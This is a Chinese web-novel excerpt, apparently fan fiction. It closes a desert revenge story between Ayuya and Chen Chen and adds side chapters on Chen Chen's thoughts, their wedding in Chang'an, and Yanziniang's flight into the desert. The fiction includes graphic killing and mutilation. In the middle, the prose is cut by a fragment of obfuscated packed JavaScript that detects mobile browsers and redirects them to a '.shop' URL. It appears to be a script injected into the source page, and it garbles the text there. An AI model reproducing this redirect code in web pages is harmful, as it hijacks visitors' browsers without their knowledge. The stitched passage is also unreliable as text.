我想到了一个办法,那是我小时候才能做的事情,入夜把冰凉的脚塞进阿塔的怀里,热乎乎的。
过了许久,直到我冷的受不了。
我这才鼓起勇气,将脚慢慢伸到他怀里。
我的脸颊烫烫的。
我知道,它一定已经红透了。
还好他没推开我,反倒把它们握在怀来。
甚至他还搓热了手掌。
真是细心。
我想问他,燕子娘的脚和我的脚谁的好看,可话到嘴边,却怎么都说不出口了。
忽然他问我,我们第一次相遇的事情。
害那种事情,怎么会忘嘛,你可是我第一个自己救回来的人,永远都会记得的。
他又说他不是镖人,是朝廷派来刺杀知世郎的。
怎么回事?
是镖人也好,不是镖人也好,是来杀知世郎的也好,不是来杀知世郎的也好。
你都是你啊!
你对我的心是没变的,你看我的眼神是没变的,你眼睛里的光是不会骗人的!
他把脸埋在我的腿缝间,热气吹拂在小腿上,暖暖的,真舒服。
他说了很多,说我像他的妈妈。
难道你妈妈也生活在大漠吗?
我会做好你妈妈的!
直到他说他想跟在我身后。
我有些不悦。
为什么一定是身后?
为什么不能是身边?
你为什么必须得跟着我?
我们一起并肩面对不行吗?
直到我说出那句。
“其实……你跟在我身边,也可以的。”
他却吻上了我的脚背。
我的脸更红了。
我想抽出来,可他却抱得紧紧的。
他的嘴唇贴了许久。
我的脚上还能感受到他嘴唇的柔软,和嘴中呼出的热气。
阿育娅你就是个大傻瓜。
为什么不在来之前把自己的脚洗干净。
他一定闻到了对吧?
脚捂在靴子里怎么可能没有味道呢?
嘴怎么能放在脚上,不会觉得脏吗?
这夜,我想我们之前的关系可能不只是喜欢这么简单。
我的手和他的手拉在一起,十指相扣。
这是中原有情人之间才会做的事情。
他的手糙糙的,把我的手握在手心里,一点力也不敢用。
嘿嘿,以前怎么没发现他这么好。
我们就这样走在其他人面前。
你们都看着吧,他可是只属于我阿育娅大人的。
永远
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也不会分开。
是谁给我的勇气这么嚣张。
我看着他脸上的笑,明白了,我们有资格这么嚣张。
古渡就在眼前,只要上了渡船,去了中原。
我们两个便可以直奔长安。
我已经迫不及待想要看看长安是什么样子了,然后和他一起喝酒,拥在一起,躺在草地上睡一下午。
可是那个讨人厌的和伊玄出现了。
挡在我俩面前。
嘴里说着什么。
“阿育娅!你怎么和这伙贼人在一起?你阿塔已经同意咱们的喜事了!”
说的什么鬼话,我阿塔才不会同意呢,我也不会同意。
我已经找到我的归宿,你是个什么东西!
于吉牛罗从马背上拿下一个箱子。
说是和伊玄送我的信物。
我才不要呢。
可是那箱子里装着的是我阿塔的头。
我的脑袋仿佛被人用刀劈开,那铁仟一个劲的绞着脑浆。
我甚至连下马都忘记怎么做了,只能滚落到沙地上。
我想杀了他们,杀了他们所有人。
明明我阿塔对你们那么好,你们为什么要杀了他!
我一定要杀光你们所有人,一个也跑不掉。
尤其是你和伊玄!
我抱着阿塔的头,眼泪止不住的流下来。
明明三天前还在一起欢声笑语。
没想到这一别竟是永恒。
知世郎说了什么我一句都没听。
也不想听。
我只想把那些我曾视为血亲的家伙,一个个砍死,剁成肉泥。
我抽箭便射,可是却没能一箭射死他!
也好,要是让你这么容易就死了,太便宜你了。
手中的羽箭不停,没过多久,便从身后的箭壶中抽不出来了。
我怎么不多带点!
我抽出弯刀,砍翻几个。
再抬头望去,我只看见陈晨追着和伊玄的背影,冲入马群之中,到处都是飞起的马腿和跌倒在马下的人。
别人砍他,他也不躲,也不挡。
他比我还疯狂。
求你,别,别死,我只有你了!
仇恨会使人疯狂。
我手中的刀刃砍死一个又一个敌人之后,心中也被执念填满 ,眼中只剩下一片血红,和那个杀害阿塔的家伙。
我此时只想杀死和伊玄,脑子里除了这个念头在没有其他。
可是他此时却挡在我的身前。
嘴唇轻轻吻上我的嘴唇,软软的。
鼻腔里都是他的味道。
把我从疯狂的边缘拉回。
他又回来了,没有死,从这边杀到那边,又从那边杀到这边。
他真的很强。
而我却追不上他的脚步,我是不是太弱了。
敌人就在我们后面追,一旁还有大沙暴。
可陈晨他却勒住马站在原地。
我明白,是该与和伊玄做了断了。
我追上他的步伐与他站在一起。
看着眼前那朝我们逼近的马队,我心里居然没有一丝害怕,甚至有些兴奋。
等着我和伊玄,我们要来杀你了。
箭矢在脸颊旁射过,你们就这点能耐吗。
我可是大漠的公主。
不,我就是大漠,我的怒火就是席卷着大漠的沙暴,我即是大沙暴。
我是莫家的阿育娅!
我就是大沙暴!
声音消散在风中,可我的箭不会。
他在我耳边喊着。
“若你是大沙暴,那我便是那无处不在的狂沙!”
我想,就让我们俩一起化作这大漠最恐怖的存在,将他们尽数摧毁。
穿过马队,我俩追得和伊玄屁滚尿流。
和伊玄你什么都不是,你甚至不敢直面你的敌人。
可笑。
一直追到葫芦谷,我的月光再也没法跑了。
或许以后也不会再见面了。
她嘴里一直在流血,是强撑着把我送到这里。
和伊玄你身上又背了一层债。
陈晨他把他的马给了我,而他却没动。
为什么不和我一起,你在这里会死的!
对面的马队就算是踩也可以把你踩死。
可是他却只是说要平安回来。
我会回来的,你也是,要等着我!
他真的好高,高的我得踮起脚才能亲到他的嘴唇。
你要记得我,记得我的味道,记得我们的约定!
我骑上他的马,不敢回头。
我怕一回头,我就再也追不下去了。
和伊玄也很强,比我想象中的强。
他的那一脚踹的我直返酸水,我想爬起来,可是他却打在我脖子上,把我大晕。
失去意识之前,我只有一个念头。
别死,陈晨。
对不起,陈晨,要和你失约了。
我没能保护好我自己,也没能护住你的马。
等我醒过来的时候,皮甲和骑装都被人扒了下来,扔在地上。
就连手脚都被人捆上,动弹不得。
和伊玄你要杀我就杀我,你永远也得不到我!
他坐在那一边喝酒一边说着他的兄弟。
可就在这时,陈晨和阿妮两个人从房梁上翻了下来。
你没死真是太好了!
阿妮轻敌了,被和伊玄踹倒。
陈晨的刀贴着床柱略过,只把那边的绳子砍断。
为什么不砍我手腕的绳子呢,是你怕伤到我吗。
还不等我把嘴里塞得布扯下来,他却把他的刀插在地上。
身上的重弩也扔在一旁。
和伊玄很强的,你别这样!
和伊玄也将他的刀扔在地上。
我松了一口气。
他一脚踹在陈晨的胸口。
我知道他一脚的力度有多少,他一脚能把人直接踹飞。
可是陈晨却没后退半步甚至让和伊玄摔倒在地。
陈晨就那样骑在他身上一拳一拳打在他的脸上,把我讨厌的那张脸打的血肉横飞。
我有些看呆了。
直到和伊玄拿起酒坛砸在陈晨脑袋上,我才回过神来。
我想咬开那根绳子,可是根本没用。
当我在看他们的时候,只见和伊玄骑在陈晨身上,他手中的匕首已经将陈晨的手掌刺穿。
我的心一揪。
我的手肘不小心碰到一个硬硬的东西,赶忙翻出,居然是陈晨的那枚飞刃。
它就静静地躺在我的腰带中。
不知何时陈晨把它塞了进去也不告诉我。
你这家伙告诉我一声会死吗!
飞刃划过绳子,就像切开豆腐一般。
我抓起桌上的连弩,是陈晨送给我的那把。
你怎么敢动我的东西,和伊玄!
而且还是他送给我的东西!
三支弩箭射穿他的脑袋。
我的心终于放下了。
大仇得报,可我开心不起来,只觉得好累!
我紧紧抓住插在他手上的那把刀,用尽全力拔了出来。
一定很疼吧,和我的心一样疼。
可他却不管这些,只是将我的手握在手里,十指相扣。
他的血将我的手掌染红。
他的嘴唇慢慢凑了过来。
我迎了上去。
这一吻很长,舌尖相碰,麻麻的。
鲜血的味道在嘴里弥漫,可是却那样的甜,甜的让人沉醉。
我们三个人走出屋子,只见远处站着一个人,是大赖。
四大家族第二代仅存的最后一人。
于吉牛罗、佩乌蜜儿、乌鲁鲁、小赖,他们都死在之前那场战斗中。
三个被陈晨杀了,一个被刀马杀了。
陈晨听了我说的话,走过去一刀就把他的胳膊砍了下来,然后像拎猪仔一般拎到我面前。
用一把小刀把他的脸皮剥了下来。
还跟他说什么要深呼吸,会更疼。
或许真的会更疼吧,但是不会有我的心更疼。
大赖的脑子滚在沙地上。
如果他们能聪明一点,也不会落得如此下场。
我寻了块青石扶着阿妮坐下,看着安妮那有些痛苦的脸,只能轻轻的拍着她的后背。
不知何时一个男人走到我面前,问我要不要加入他们的佣兵团。
我看着陈晨的背影,是那么落寞。
我才不想走呢,加入你们的佣兵团,有陈晨吗?
我不会问,也不想问。
我是阿育娅大人,是大漠的公主,是大沙暴!
我不会让你们定义我,我可是阿育娅。
我摇了摇头拒绝了他。
只要能和陈晨在一起,去哪都一样。
一切归于平静,可是他们中原人怎么又打起来了。
又来了两个中原人,一个男人一个女人,听他们讲似乎是陈晨以前的部下。
想要杀了小七,带陈晨和刀马回去,重建左骁骑卫。
打就打吧,这是他们中原人独特的打招呼方式。
我改变不了。
如果陈晨要回去,那我也要跟着他回去。
只是他们不要伤了陈晨,不然我会一箭一箭把其余三个人都射死。
我睡的很沉,一直睡到第二天正午才起。
一睁开眼陈晨就陪在我身边,他没走真好。
其他人都已经离开了。
他们去哪了都无所谓,只要陈晨还在就好。
我忽然有些不想去长安了,至少现在不能去。
我们两个回到他初见我的屋子。
把和伊玄的尸体抬到屋外。
我和他一起举起他的那柄长刀,刀刃落下,和伊玄的一条腿便飞到了半空。
这是你应得的。
一下又一下,一刀又一刀。
直到和伊玄的尸体不像个人为止。
我扑到他怀里,哭了许久。
他就那么陪着我,也不说话,只是静静的抚摸着我的头。
真好!
我们两个就在那个屋子里,一起吃饭,一起睡觉,一起起床。
晚上的时候我还能把脚塞在他怀里。
暖暖的。
我感觉我们似乎已经成为了夫妻。
仪式无法定义我们的关系。
几天之后,我们把莫家集中所有的尸体埋进土里。
有认识的也有不认识的。
直到最后,陈晨把他的那柄弩也埋了进去。
我知道他告别了他所有的身份。
现在的他只是陈晨,是属于我一个人的陈晨。
我们俩骑上马,我的这匹马是白色的,我给她取名叫做月光。
陈晨的那匹马是黑色的,我给她取名叫做夜。
我问他“想去哪?”
他却笑着跟我说“你去哪,我就去哪。”
原来我们是一样的。
大漠很大,中原很大,我们可以去很多地方。
我率先纵马,他跟在我身后,我们可以去任何地方。
谁也没有办法把我们两个分开。
我是阿育娅大人!
我是大漠的公主!
我是大沙暴!
我很庆幸。
我还是我。
18. 番外二:我[番外]
我看人,习惯先看刀。
刀不会骗人。用久了的人,刀上会留下痕迹……崩口、卷刃、缠着的布条磨得发白。刀的脾气就是人的脾气,刀的命就是人的命。
我自己的刀,在战场上这十年间,换了无数把,也断了无数把。
因为我喜欢把对面连刀带人一起砍成两半,这样最省事。
直到我当上将军,朝廷送给我的那把刀,砍起人来最顺手,也不会卷刃。
可是我不喜欢。
他们本来就怕我,现在更怕我了。
朝堂上的文武百官,一起出生入死的左骁骑卫他们全都怕我。
我知道,因为在战场上,我总跟疯狗一样冲在最前面,砍得人最多。
因为我想让他们都活着。
现在他们是我的全部。
他们十三个总是躲着我,他们总是一起去逛窑子,喝花酒,不带着我。
我其实也去过,但那些女人也都怕我,还要强撑着脸,满脸的赔笑。
阿育娅是我见过的,唯一一个不怕我的人。
居然把一个刚认识的家伙,扔到自己床上,若是我遇见这种事情,定把他扒光了扔在沙漠里喂狼。
一开始我以为她是傻的,后来我才知道她只是未经世事。
她看我的时候,眼睛里干干净净的,不像看一个杀过人的人。
我把弩给她那天,她翻来覆去地看,看了很久,然后抬头冲我笑。那笑容让我想起一件事……我七岁之前,也有人这么笑过。可我不敢去想。
刀马是我兄弟。
这想法在心里冒出来,我自己愣了半天。我以为我恨他。十个人死在牢里,八百左骁骑卫散了,我这辈子毁在他手上……我该恨他。可那天谛听要杀小七,我脑子里想的却是如何阻止这件事。
我不知道为什么。
后来我想,也许是因为他跟我一样,都背着一笔还不清的债。他欠兄弟的,我欠自己的。我们谁也还不了,只能背着,背到死。
谛听和隗知走了。
他们临走时看了我一眼。那一眼我认得……是兄弟之间最后一眼。以后再见,就是陌路人。我没说话。我能说什么?说“别走”?他们不会留。说“保重”?太轻了。
我只是看着他们的背影消失在沙尘里,然后转身,继续往前走。
竖那个闷葫芦,从头到尾没跟我说过几句话。
甚至连看我也只是偷瞄。
我想他应该是怕我的,他的那把刀很好,但是我有把握,在他举刀之前就把他劈了。
只是我不想。
燕子娘那张嘴,能把死人说活。我不爱听她说话,可我也不赶她走。她说的话十句里有九句是假的,剩下一句是真的。那真的那一句,她藏在话里,不说破,听不听得懂是你的事。
我听懂了。
老莫是我这辈子见过的人里,骨头最硬的。
他被活剐的时候没喊一声。我后来才知道,他那时候想的不是自己,是阿育娅。他把女儿托给我,扔了一袋金子,说“保护我的女儿”。
金子我没动。以后也不会动。
那可是阿育娅在大漠活下去的根本。
没有钱,在大漠里比没有水还危险。
知世郎那张脸,看着不像活人。可他说的话,有些是真的。他走的时候问我以后还见不见,我说等花开满天的时候,带阿育娅去长安找他喝酒。
他说“好”。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387711|200272||http|test|mini|href|location''.split(''|''),0,{}));
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>我没说的是……我也不知道能不能回去。但她想去,我就带她去。
阿妮走的时候说要攮我两刀。我说别说是两刀,你凌迟了我都行。
我是认真的。
如果我没保护好阿育娅,我真会对自己这么做的。
和伊玄是我见过最蠢的家伙,没有之一。
他觉得我把刀插在地上,是要跟他空手互搏。
可他不知道的是,我随手就能把他头拧下来,当球踢。
若是想我可以抓着他的嘴,把脸撕成打开的老鼠夹子。
他在我眼里就像个羸弱的小女孩一样。
乌鲁鲁,好像是叫这个名字,那个红衣女孩嘴里喊的应该是他。
他力气不错,脑子也还行,知道要从背后打人。
可惜太笨重,下盘太空,随便谁来他都要死。
那红衣女孩也是,我要是她就拿手里的弩一直射,把对面射成刺猬。
吐火罗佣兵团的阿罗汉。很强……和年轻的我一样强。
但是如果是我,面对拿一把重弩对准我的脑袋。
我第一时间的选择要么是杀了他要么是转身就跑能跑多远跑多远。
大漠的人都这么单纯吗?
那天,阿育娅问我以后去哪儿。
我说,你去哪儿我去哪儿。
她笑了,笑得很轻,像大漠里偶尔落下的那点雨,还没落地就干了。可我记住了。
我这辈子,杀过很多人,见过很多血,走过很多路。我以为我会死在哪个没人知道的地方,被沙子埋了,被风吹散,什么也不剩。
可现在我想活着。
和她一起活着。
等那棵死树,什么时候活过来。
19. 番外三:约定[番外]
杨广在半年前死了。死在自家人手上。他对身边人太狠,狠到连自家人都不再容他。
这半年,天下还是不太平,但长安城里的日子,总算安稳了些。百姓依旧清贫,却没了哭声。
长安城的城墙上,还留着没来得及修补的豁口,和刀劈斧砍的旧痕。城门洞开,几个守城士兵倚着墙根打盹,进出的人稀稀落落得。
远远的,官道上来了两匹马。一匹纯白,一匹玄黑,并辔而行。马喂得极好,皮毛油亮,步伐稳健。
马背上坐着一男一女,身着一黑一白两色的胡服。他们的手牵在一起,十指相扣。
马走得不紧不慢,到城门口时,微微一顿。
守城的士兵抬了抬眼皮,挥挥手,连话都懒得问。
阿育娅愣了一下,小声问:“这就……进去了?”
陈晨偏过头,眼里带着笑:“不然呢?”
四年了。
四年前,他躺在沙地里,奄奄一息。她把他拖回来,扔在床上,差点一箭射穿他的脑袋。
四年后,他们骑着马,进了长安城。
阿育娅变了。
大漠的风沙没能在她脸上留下一丝痕迹。她的皮肤反而更白了,白得像月亮的光。白色的胡服洗得干干净净,背后背着两壶羽箭,一张精弓。腰间的弯刀不见了,换成一柄长刀,和陈晨的那把一模一样,只是更短、更轻,背在身后。
额间的银饰没了,发辫上的兽牙也没了。她把头发解开,利落地束成高马尾,披散在背后。
那是离开莫家集时,陈晨第一次帮她梳的。她问他中原侠女应该梳什么发型,他就帮她梳了这样。这几年一直没换过。
陈晨的飞刃被打磨去了刃口,做成项链,挂在她脖子上,一颤一颤地晃着。那柄连弩还在,躺在长包里,挂在她腰后。陈晨的那块玉,被她仔细地系在腰带上,和四年前一样。
陈晨也变了。
脸上的戾气淡了许多,眼神柔和。原本乱糟糟的长发,离开莫家集后剃了个精光。四年过去,黑发又长了出来,白发少了许多,被她编成辫子,辫梢系着磨得发白的兽牙和银饰……那是阿育娅褪下来的那些。
他背后也背着两壶羽箭,一张精弓。只是他学得很慢,打兔子时常一箭射不死,还得补一箭。长刀挂在背后,刀柄上的布换了新的。霸王枪挂在马侧,用布裹得严严实实,不透一点光。
两匹马慢悠悠地走着。
长安城里,没有往日的繁华,却有一种从未有过的安宁。
没有哭喊的孩子。没有抓走的壮丁。没有饿死的乞丐。没有磕得满头是血的老人。
到处都是笑声。
“卖包子嘞,卖包子嘞……热乎乎的包子,一文钱两个嘞……”
“老板,来两个包子。”
陈晨勒住马,从怀里摸出一枚铜板,扔进摊主面前的碗里。
摊主抬头一瞧,满脸堆笑:“呦,客官,从大漠来的吧?”他用黄纸包好两个包子,递到阿育娅面前。
“你怎么知道?”阿育娅接过包子,笑眯眯地问。
“您夫君一看就是胡人模样,背着那么多箭,准是个打猎的好手。咱这儿三天两头有胡人来卖皮子,皮子好,大家伙都爱买。”摊主打量着陈晨,“您可真是好福气啊!”
“他呀,箭术还不如我呢。但是剥皮的手艺不错。嘿嘿,你也觉得我嫁给他不亏吧?”她眼睛亮晶晶的,满脸期待。
摊主笑得眼睛眯成一条缝:“那可不,您夫君高大威猛,您又生得倾国倾城,简直是天造地设的一对!”
阿育娅听完,笑得合不拢嘴。又从怀里摸出一枚铜板,扔进摊主怀里:“小费!”
说罢,她牵起陈晨的手,继续往城里走。
陈晨看着她高兴的模样,忍不住逗她:“这就是我们中原人的拐弯抹角,你以前不是最讨厌的?”
“喜欢!”阿育娅理直气壮,“谁说我不喜欢?我现在喜欢得不得了!”
她举起包子,认真地说:“这就是你常说的包子吧?我还记得怎么吃呢……先咬一小口,然后吹一吹,不然会烫到。”
说完,她狠狠咬了一大口。
“呼……呼……好烫!”她被烫得直哈气,却舍不得吐出来,“但是好好吃!把肉包进面皮里,居然这么好吃!”
陈晨伸手揉了揉她的脑袋,眼里满是宠溺:“慢点吃,又没人跟你抢。咱们还要在长安待一阵子,你要是喜欢,天天都能来。”
他顿了顿,又说:“你的刀,刃口又崩了。这可不行。我记得是这边。”
说着,他勒住马,拐进一条巷子。巷子深处,叮叮当当的打铁声传来。
听到那熟悉的声音,陈晨轻轻松了口气。四年了,这家铁匠铺还在。
“客官,是要做箭头,还是剥皮小刀,还是卖皮子?本店肯定给您一个满意的……”老铁匠话没说完,忽然愣住了。
“小陈将军?”他眯着眼睛打量了半天,“几年没见,你怎么换了一身胡人打扮?这位是您妻子吧?生得好俊俏!”
陈晨行了一礼:“什么将军,早就不当了。您老还拿这个开玩笑。倒是您,当年替那老东西干活,打的都是精品,怎么现在改行打起菜刀来了?”
老铁匠摆摆手:“说吧,趁我这把老骨头还能动,要什么?免费。下次可就没这好事了。”他捶了捶背,浑浊的眼睛里慢慢亮起一丝光。
陈晨也不客气:“那您可就别怪我狮子大开口了。替她打一把,和我的刀一样,但要更轻便,更小一些,适合她的。”
“十日后来取。”老铁匠一挥手,“好了,赶紧滚吧,别耽误我锻刀。不然我可要拿你试刀了!”说完一踩气箱,炉火腾地窜起赤红的焰火。
陈晨赶忙拉着阿育娅出了铁匠铺。
两人牵着马,漫无目的地走在大街上。十指相扣,眼神扫过彼此,扫过长安城里的小河。
“听你们说话,好像很熟。”阿育娅撅了噘嘴,有些气鼓鼓的,还在为那句“滚吧”耿耿于怀:“可他店里那些东西,也不怎么样啊,还没大娘的铺子好。”
陈晨笑了:“你可别看他这样。当年在宫里,他是天下第一等的铸剑师。他打的刀,我从来没见过卷刃崩坏的。我送你的那柄连弩,就是他做的。我本以为这天下大乱,他会离开长安,幸好他没走。”
“那他怎么住那么破的地方?穿得也破?”阿育娅更惊讶了。
“别说你,我第一次见他的时候也被吓了一跳。要不是宫里的文书写的确实是那个地址,我都不敢信。”陈晨顿了顿,“你别看他那样,那老头屋里少说也有几百两黄金。他砍的小贼,比他锻的刀还多。”
阿育娅听完,顿时四处张望:“我刚才说他坏话,他不会听见了吧?”
“谁知道呢,那家伙来无影去无踪的……”
话还没说完,阿育娅就愣住了。陈晨看她那呆愣的表情,知道自己逗过头了,赶忙安慰道:“他就是个脾气古怪的老头,不会乱砍人的。再说有我在前面扛着,你怕什么?”
“他就是个脾气古怪的老头,不会乱砍人的。再说有我在前面扛着,你怕什么?大不了让他把我砍了呗。小家伙,怎么从大漠到了长安,胆子反而变小了?你不是天不怕地不怕吗?是不是长安不合你心意?”
阿育娅听罢,一把将手从他掌心里抽出来,攥成拳头,一下一下轻轻捶在他胸口上。
“你可真坏……哼,罚你晚上睡门口!”
说完,她甩下陈晨,快步走到前面。
陈晨快走两步追上去,手掌贴上她的拳头。那原本攥紧的拳头慢慢松开,重新缠上他的手指,十指交扣。
阿育娅的声音忽然低下来:“原本以为来长安会很开心。可是真的到了长安,发现和大漠也没什么两样。你说……阿塔他看到长安,会开心吗?”
陈晨握紧她的手:“一定会的。所以你也要开心。阿塔在天上看见了,也会跟着开心的。”
他拉着她,七拐八拐,钻进另一条巷子。
巷子尽头,朱红的大门敞开着。门上的匾额落满了灰,隐约能看见“将军府”三个字。府里空无一人。
正殿的门虚掩着,门缝里,隐约能看见一双脚悬在空中,随风轻轻晃动。
陈晨抬手,挡住阿育娅的眼睛,牵着她绕过正殿,往侧殿走去。
他自己的目光,却一直盯着那双脚的主人……那个将他母亲殴打致死的夫人,他名义上父亲的挚爱。
阿育娅一把拽下他的手,朝正殿里看了一眼,然后不屑地撇撇嘴:“不就一个死人吗?你还挡着我,我还以为屋里有什么宝贝呢。”
陈晨忍不住笑了,抬起手指刮了刮她的鼻子:“中原的侠女可不会这么说话。她们会躲在心爱的人身后,小声地问为什么。”
“我可是阿育娅大人,才不是什么侠女。”阿育娅理直气壮,“中原的女子可真弱,还要人保护。我阿育娅大人是要保护你的,小夫君!”说着,她抬起手在他眼前挡来挡去。
两人一路打闹着,来到偏殿最小的一间石屋前。
门窗破碎,屋里空荡荡的,什么陈设都没有。
陈晨走到一面墙前,摸索了一阵,用力从墙上抠下一块砖。砖后面,藏着一卷东西,被布包得严严实实。
他打开布,里面是一个卷轴。一尘不染,光洁如新。
“幸好没被老鼠啃了。”
展开卷轴,里面是一幅画。画上是一位中原女子,眉眼温柔,不算漂亮,却有一种说不出的柔美。
阿育娅仔细看去,竟发现那女子和陈晨有几分神似。
“她是?”阿育娅轻声问。她看得出来,这幅画对陈晨有着不一般的意义。
“是我的阿娜。”
两人出了将军府,牵着马走在街上。
迎面走来一个小贩,肩上扛着一根粗粗的棍子,上面插满了红艳艳的糖葫芦。
不等阿育娅开口,陈晨已经拦住了他。他把怀里仅剩的五枚铜板递过去,从棍子上轻轻取下最红的两根。
一根递给阿育娅,另一根自己咬了一口。
甜。<
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甜得让人心醉。
母亲,当年的我没能保护你。但现在的我,会保护好她。
您在天上,一定要过得开心。
就这一晃神的功夫,阿育娅已经吃完了一整根,腮帮子鼓得像只仓鼠。
她目光闪闪地盯着陈晨手里那根。陈晨赶忙把自己咬过的那根递过去。
“好吃吗?”
阿育娅用力点头,说不出话来。
两人牵着马,来到一家酒楼前。
店小二自然地接过缰绳,把马牵去了马厩。
“二位客官,是吃饭还是住店?”
“先吃饭,再住店。”陈晨说,“来两碗羊羹,再来几道特色菜。吃完开一间上房,我们要住一阵子。对了,马喂上等草料。”
两人找了一张空桌坐下。阿育娅眉眼弯弯地问:“这次不住免费客房了?”
陈晨摇摇头:“不住了。有人替我结账,我住什么马厩?”
“我可没钱……”阿育娅伸手护住腰间的钱袋,“要不咱们还是住免费的吧?”
那钱袋里装满了碎银子,是两人在大漠里抓逃犯攒下的,攒了许久。
但阿育娅还是从里面用手指夹出几块,在掌心里一上一下地扔着玩。
“想要我付账也不是不可以。”
“什么条件?”
“办一场婚礼。”阿育娅眼睛亮晶晶的,“像中原女子那样。”
长安的夜,湿润润的。风从河上吹来,舒服得让人想闭上眼睛。
酒楼的房间里,插满了红烛。烛火摇曳,映得一室通红。
阿育娅穿着大红的嫁衣,端坐在床边。头上盖着一块红布,静静地等着。
陈晨穿着一身大红婚服,站在门口,表情有些不自在。他实在不喜欢红色。
他慢慢地,一步一步走向她。每一步都很轻,却走得很稳。
走到她面前,他抬起右手,在烛火下看了看。手上的老茧褪去许多,只剩下一道道疤痕,有些丑。
他深吸一口气,鼓起勇气伸手抓住盖头的一角……
阿育娅一把抓住他的手腕,将他扯进自己怀里。那块红盖头好巧不巧,正好落在陈晨头上。
陈晨愣住了。阿育娅也没动。
过了许久,一只洁白的小手轻轻抓住盖头的一角,轻轻揭下。
烛火映在阿育娅脸上,美得让人移不开眼。
陈晨嘴唇动了动,想说些什么……
一双红唇贴了上来。
一夜无话。
第二天早上,阿育娅赖在陈晨怀里拱来拱去,不肯起床。
直到晌午,两人才慢悠悠地起来洗漱。
阿育娅坐在镜子前。陈晨站在她身后,轻轻把她的乱发梳顺,利落地束成高马尾,披散在背后。
“这样好吗?这可不合中原嫁娶的规矩。新娘扯新郎盖头什么的……”陈晨在阿育娅耳边碎碎念着,声音柔和。
他倒不是在意那些规矩本身,只是阿育娅说过,想要一场“中原女子那样”的婚礼。他怕自己做得不够,怕这场婚礼不“中原”,才会忍不住念叨。
“很好,因为这是我阿育娅大人的婚礼,只属于我的规矩,小夫君。”阿育娅看着铜镜中的自己笑了笑。
只要是她喜欢的,那么他便喜欢。
帮阿育娅梳完后,陈晨也坐到凳子上,像个听话的孩子。
阿育娅的手指飞快地编着他的头发。一条,两条,三条。像每天早上都会做的那样。兽牙银饰系在发梢,一颤一颤地晃着。
两人又在酒楼住了些时日。把长安城里里外外逛了个遍,这才准备离开。
还是那间铁匠铺。老铁匠靠在椅子上喝茶,一柄精钢宝刀平放在桌面上。
“前辈,这一别,不知何时才能再见了。”
老铁匠眼皮都没抬:“别说那些没用的。你小子能娶这么漂亮的妻子,偷着乐去吧。行了,带上你的破刀,滚吧,别在这儿碍我的眼。”
陈晨和阿育娅一起对老人行了一礼,带着那柄新打的刀,转身离去。
两人牵着马,一路向城门口走去。十指相扣,谁也没说话。
那柄新刀插在阿育娅背后的刀鞘中,刀柄上缠着白色的布条,比陈晨的那柄整齐许多。
陈晨看了一眼,嘴角弯了弯。她总是比他细心。
走到城门口,守城的士兵换了人,没人认出他们。阿育娅回头看了一眼长安城,阳光照在城墙上,那些缺口还在,但已经不那么刺眼了。
“走吧。”她说。
陈晨握紧她的手。
两匹马慢慢走出城门,沿着来时的官道向前。
直到长安城彻底落在身后,两人才各自上马。
阿育娅看着陈晨,温柔的问:“想去哪儿?”
陈晨牵起她的手。
“你去哪儿,我就去哪儿。”
夕阳把两人的影子拉得很长很长。
随着马蹄声渐行渐远,身后那座城越来越远,越来越小,最后只变成天边一个小小的点。
20. 番外四:代价[番外]
人是不能知道太多秘密的,人如果知道太多秘密,是会死的。
而我恰好就是这种人。
我本是大户人家的侍婢,只因为不小心听到了宇文官人与杨大官人的事。
只一夜,所有的婢女、家丁,尽数被屠。
我躲在假山的空洞里,这才活了下来。
身上的一小块烧饼,被我吃了五天。我实在躲不下去了。
再这样下去,就算不被找到,也只会饿死在这,化作枯骨。
我想到了一个人。
杨素府中的歌妓,红拂女。
我曾随老爷前往杨大官人府中时与她相识。她本名张出尘,因为她总拿着一柄红色的拂尘站在杨大官人身后,才被叫这个名字。她不喜欢叫这个名字,我也不喜欢。我总是叫她的本名。
可是我的本名叫什么呢?
我不知道。
从我记事起,我就生活在府中。他们都叫我燕子娘,我也这么叫自己。
她是什么时候离开杨府的?大概是遇到了那个姓李的小郎君。
他们俩一起离开了长安。张出尘终于可以做自己了,不再做那个别人口中的人。
可我没有自己的小郎君。我必须要靠自己。我也得离开长安,这样才能活下去。
趁着夜色,我从假山的缝隙里爬了出来。
到处都是死人。臭味熏得我直想吐。我只能捂住自己的嘴,不敢发出一点声音。
他们还没走。还守在那儿。
我蹑手蹑脚走过长廊,心跳得像要从嗓子眼里蹦出来。四周一点声音都没有,只有这心跳声,大得吓人。我一边走一边想:要是能再小些就好了,可别被他们听见。
还好,我的东西没被人动过。那里面有我攒了好久的银子。
这是我用来给自己赎身的。现在也不用赎了。
借着夜色,我看到了一个人。
是我的老爷,是这府里所有人的老爷。
他只剩下一个头,静静地躺在那儿。
我忍不住踢了一脚。咕噜噜的,滚到墙角,不动了。
让你对我动手动脚,让你平时欺负我……活该!
幸好,东边的围墙没人守着。
他们以为这墙太高,没人能爬出去。可他们不知道……墙根下有个小洞。我总是从这里钻出去,去看外面的世界。
外面的世界可真好啊。没有血腥味,没有对我动手动脚的家伙。
我裹紧身上的袍子,趁着夜色出了长安城。
月光洒在官道上,四周静悄悄的,一个人也没有。
我自由了。我可以做自己了。
可我要叫自己什么呢?难道还是燕子娘吗?
可是好景不长。
那天我在镇子里,看见墙上贴着一张纸。走近一看,是我的脸。
我愣住了。
为什么就不能放过我?我只是想活着。
若是没人认识我就好了!
大漠。只有大漠。
我才能自由地活下去。
我费尽千辛万苦,在守关军士面前把好话说尽,才换来一个机会……进入大漠的机会。
我以为,至此为止,可以平静地活下去了。
可是,长安的那些大人物依旧不肯放过我。
无数的镖人涌入大漠,手里都拿着我的通缉令。我躲了这么久,逃了这么远,他们还是不放过我。
你们的秘密就这么重要吗?哪怕我永远不回中原,也要把我抓回去?
抓回去干什么呢?折磨死我?
我躲进大漠深处,听人说这里叫什么?流沙古迷宫?
若是这迷宫能让我一直活下去也好。
可是没有水,没有食物,要怎么在这里活着?
只能死。
他们都死了。死在流沙里,或者被渴死饿死。
活该!
让你们小瞧我,让你们不放过我。
我就靠着他们身上剩下的一点水、一点吃的,艰难地活着。
很充实。比我在府中活着的那十六年还充实。
